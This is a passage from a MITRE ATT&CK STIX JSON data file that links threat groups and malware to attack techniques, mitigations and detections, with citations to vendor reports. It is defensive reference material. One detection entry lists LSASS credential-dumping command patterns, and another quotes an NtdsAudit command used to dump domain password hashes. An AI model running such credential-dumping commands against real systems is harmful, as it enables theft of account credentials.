2021)","modified":"2022-04-12T15:57:01.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--647cf3e6-dcb2-4da2-a60d-b3118cb966bc","created":"2023-08-17T17:16:27.485Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-10T17:05:44.458Z","description":"[QUIETEXIT](https://attack.mitre.org/software/S1084) can establish a TCP connection as part of its initial connection to the C2.(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"malware--4816d361-f82b-4a18-aa05-b215e7cf9200","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6485bfc6-53b5-43c1-9c52-6a35c3fc630d","type":"relationship","created":"2020-06-01T13:16:32.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Preventing SMB","url":"https://support.microsoft.com/en-us/help/3185535/preventing-smb-traffic-from-lateral-connections","description":"Microsoft. (2020, March 10). Preventing SMB traffic from lateral connections and entering or leaving the network. Retrieved June 1, 2020."}],"modified":"2022-03-08T19:31:22.862Z","description":"Consider using the host firewall to restrict file sharing communications such as SMB. (Citation: Microsoft Preventing SMB)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--648a19d0-2728-4be8-ac62-4bf08a4265a6","created":"2024-05-21T17:04:10.596Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T17:04:10.596Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has executed `net user` and `quser` to enumerate local account information.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6494b2d2-8f8f-4e81-886c-dadd57df6edc","type":"relationship","created":"2020-05-15T16:50:05.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FSecure Lokibot November 2019","url":"https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml","description":"Kazem, M. (2019, November 25). Trojan:W32/Lokibot. Retrieved May 15, 2020."}],"modified":"2020-05-15T16:50:05.782Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has the ability to capture input on the compromised host via keylogging.(Citation: FSecure Lokibot November 2019)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6495caa4-0de9-43ae-b19d-68dc846c16cc","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T13:49:51.721Z","description":"Monitor for newly executed processes that may be indicative of credential dumping. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. Try monitoring for Sysmon Event ID 1 and/or Windows Security Event ID 4688 for process activity. \n\nNote: \n- Rundll32/MiniDump has a different command-line syntax than that of Procdump, in that the process being dumped is specified via process ID instead of name (as with Procdump). Therefore, because the LSASS process ID is non-deterministic, the MiniDump detection isn’t specific to LSASS dumping and may need to be tuned to help reduce false positives.\n- When monitoring for .dll functions on the command-line be sure to also check for the ordinal associated with the function.\n\nAnalytic 1 - Unexpected process creation related to LSASS memory dumping.\n\n index=security sourcetype=\"WinEventLog:Security\" EventCode=4688 Image IN (\"*procdump.exe\", \"*rundll32.exe\", \"*taskmgr.exe\", \"*powershell.exe\") CommandLine IN (\"* -ma lsass*\", \"*rundll32.exe* comsvcs.dll, MiniDump\", \"*taskmgr.exe* /dump\", \"*powershell.exe* -Command Get-Process lsass | Out-MemoryDump\")\n","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--649748ff-e2d0-4369-8f5d-3c8b5b5010ed","type":"relationship","created":"2020-05-18T19:46:02.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T19:46:02.176Z","description":"(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6499cbec-f304-4170-9e6d-d6f89f841219","created":"2022-12-12T15:55:06.130Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-12T15:55:06.130Z","description":"(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"malware--6c575670-d14c-4c7f-9b9d-fd1b363e255d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64a0ef28-3274-4db4-a87d-e2ef4af03c4a","type":"relationship","created":"2020-11-06T19:39:44.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-06T19:39:44.105Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) has been spread through Word documents containing malicious macros.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64a17aba-5182-4666-bd37-dafa9d835fe8","created":"2017-05-31T21:33:27.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster RATs","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.","url":"https://web.archive.org/web/20220608001455/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"Qualys LolZarus","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022.","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns"},{"source_name":"Kaspersky ThreatNeedle Feb 2021","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.","url":"https://securelist.com/lazarus-threatneedle/100803/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:03:54.706Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used WMIC for discovery as well as to execute payloads for persistence and lateral movement.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)(Citation: Kaspersky ThreatNeedle Feb 2021)(Citation: Qualys LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64a40a9a-ddea-430d-ab08-77c350d83497","created":"2021-06-11T19:29:44.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.413Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can collect data on a compromised host.(Citation: Malwarebytes Kimsuky June 2021)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--64a76055-30c2-416f-be02-67f26c2c3b58","created":"2022-07-18T22:55:42.196Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for account authentications in which MFA credentials are not provided by the user account to the authenticating entity. ","modified":"2022-08-30T14:31:22.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64aa92d9-abdb-494c-8646-8548aa7c25a5","created":"2022-01-07T15:34:48.209Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.678Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has used digital certificates to deliver malware.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64aab090-e7c2-4114-8c15-49700b611fb8","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2019-03-25T16:57:02.859Z","description":"(Citation: Symantec Sowbug Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e","target_ref":"malware--96566860-9f11-4b6f-964d-1c924e4f24a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64abef3c-d453-4782-b084-25f684b3f7ae","created":"2020-08-27T17:29:05.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"},{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.421Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has gathered the SYSTEM registry and ntds.dit files from target systems.(Citation: Cycraft Chimera April 2020) [Chimera](https://attack.mitre.org/groups/G0114) specifically has used the NtdsAudit tool to dump the password hashes of domain users via msadcs.exe \"NTDS.dit\" -s \"SYSTEM\" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv and used ntdsutil to copy the Active Directory database.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64af40e2-5138-429c-9b24-2f5ba846d668","created":"2022-06-09T14:50:01.326Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET DazzleSpy Jan 2022","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T20:30:05.500Z","description":"[MacMa](https://attack.mitre.org/software/S1016) can collect then exfiltrate files from the compromised system.(Citation: ESET DazzleSpy Jan 2022)","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64af911e-0b75-45b5-903d-b1ab4676556f","type":"relationship","created":"2019-06-25T14:33:33.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://en.wikipedia.org/wiki/IEEE_802.1X","description":"Wikipedia. (2018, March 30). IEEE 802.1X. Retrieved April 11, 2018.","source_name":"Wikipedia 802.1x"}],"modified":"2022-01-24T16:48:59.417Z","description":"Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems.","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64b07cac-1aa5-4c86-ac63-7026ed1c855e","created":"2024-08-01T21:59:42.227Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"Sekoia Raccoon1 2022","description":"Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/"},{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T21:59:42.227Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) uses RC4 encryption for strings and command and control addresses to evade static detection.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon1 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64b25323-3b00-404f-afaa-cf1808ac5743","type":"relationship","created":"2020-12-21T13:32:12.798Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PoisonIvy 2017","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor%3aWin32%2fPoisonivy.E","description":"McCormack, M. (2017, September 15). Backdoor:Win32/Poisonivy.E. Retrieved December 21, 2020."},{"source_name":"paloalto Tropic Trooper 2016","url":"https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/","description":"Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020."},{"url":"https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html","description":"Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.","source_name":"FireEye Regsvr32 Targeting Mongolian Gov"}],"modified":"2020-12-21T13:37:24.338Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry key in the Active Setup pointing to a malicious executable.(Citation: Microsoft PoisonIvy 2017)(Citation: paloalto Tropic Trooper 2016)(Citation: FireEye Regsvr32 Targeting Mongolian Gov)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--22522668-ddf6-470b-a027-9d6866679f67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64b3a1a6-42c3-4874-a081-e620577f5cfd","created":"2022-07-26T20:56:17.966Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike IceApple May 2022","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022.","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T19:04:37.915Z","description":"[IceApple](https://attack.mitre.org/software/S1022)'s Multi File Exfiltrator module can exfiltrate multiple files from a compromised host as an HTTP response over C2.(Citation: CrowdStrike IceApple May 2022) ","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64b7eeef-4ccb-4b92-8224-63f1d61265a5","created":"2022-12-22T18:47:12.120Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-22T18:47:12.120Z","description":"[DEADEYE](https://attack.mitre.org/software/S1052) can execute the `GetComputerNameA` and `GetComputerNameExA` WinAPI functions.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64c2c440-287d-409a-b6f3-8ef837346ad0","type":"relationship","created":"2021-09-24T16:23:09.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-27T17:36:38.604Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) checked if UCOMIEnumConnections and IActiveScriptParseProcedure32 Registry keys were detected as part of its anti-analysis technique.(Citation: NCC Group WastedLocker June 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64c3c385-6e1f-438f-ba7e-ac7d79375ada","created":"2022-09-27T16:37:42.373Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:37:42.373Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used the `CreateProcessA` and `ShellExecute` API functions to launch commands after being injected into a selected process.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64c83ccd-f074-4ff2-80c9-05d03f8fc9d3","created":"2022-06-10T16:43:53.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T13:03:14.255Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has recruited target organization employees or contractors who provide credentials and approve an associated MFA prompt, or install remote management software onto a corporate workstation, allowing [LAPSUS$](https://attack.mitre.org/groups/G1004) to take control of an authenticated system.(Citation: MSTIC DEV-0537 Mar 